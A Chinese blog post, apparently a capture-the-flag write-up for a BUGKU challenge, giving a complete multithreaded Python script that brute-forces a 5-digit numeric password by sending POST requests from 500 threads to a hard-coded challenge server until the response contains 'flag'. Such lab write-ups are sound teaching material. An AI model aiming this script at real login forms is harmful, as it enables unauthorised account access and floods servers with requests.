要么改变世界,要么适应世界

使用python多线程爆破数字密码

2022-05-14 22:47:04
91
目录

前言

说起网络密码爆破,我们可能第一时间想到大名鼎鼎的软件Burp Suite,该软件可以方便地进行网络代理,数据截包、改包,密码爆破,但是密码爆破效率实在是太低,如果我们知道密码的类型,例如是纯数字的密码,那我们可以将密码进行分段,不同的范围使用一个线程进行爆破,利用并发进行节省时间。

题目背景

BUGKU《好像需要密码》

打开题目后,我们发现只需要提交一个密码的表单即可,而且知道了是5位数字,即00000-99999

分析了范围以后,接下来就是将密码分段,然后开启一个个线程执行爆破程序,详细如代码所示:

import urllib
import requests
import time
import threading

# 尝试爆破 [start, end] 区间的密码
def hack(name, start, end):
    print('thread %s start! %s ---> %s' % (name, start, end))
    pas = start
    while pas <= end:
        test = requests.post('http://114.67.175.224:15120', data={'pwd': pas})
        # 如果响应体中含有 flag 字样,说明密码争取
        # 实际上也可以将每一个响应体的长度进行统计,含有 flag 的一般跟其他的是不一样的
        if 'flag' in test.text:
            print('The correct password is:', pas)
            break
        pas += 1
    print('thread %s end! ' % (name))


if __name__ == '__main__':
    # 从 10000-99999  我这里偷懒了,把0-9999的去掉了 hhhh
    start, end = 10000, 100000
    # 线程总数
    total = 500
    # 每个线程要爆破的区间长度
    step = int((end - start) / total)
    left = start
    threadsList = []
    for i in range(total):
        try:
            # 创建线程并传递参数过去
            t = threading.Thread(target=hack, args=("Thread-" + str(i), left, left + step,))
            # 线程开始执行
            t.start()
            threadsList.append(t)
        except:
            print("Error: unable to start thread")
        left += step
    # 主线程等待其他线程完毕后再退出
    for t in threadsList:
        t.join()
    print('main thread end!!')

黑帽白帽,就在一念之间!

历史评论
开始评论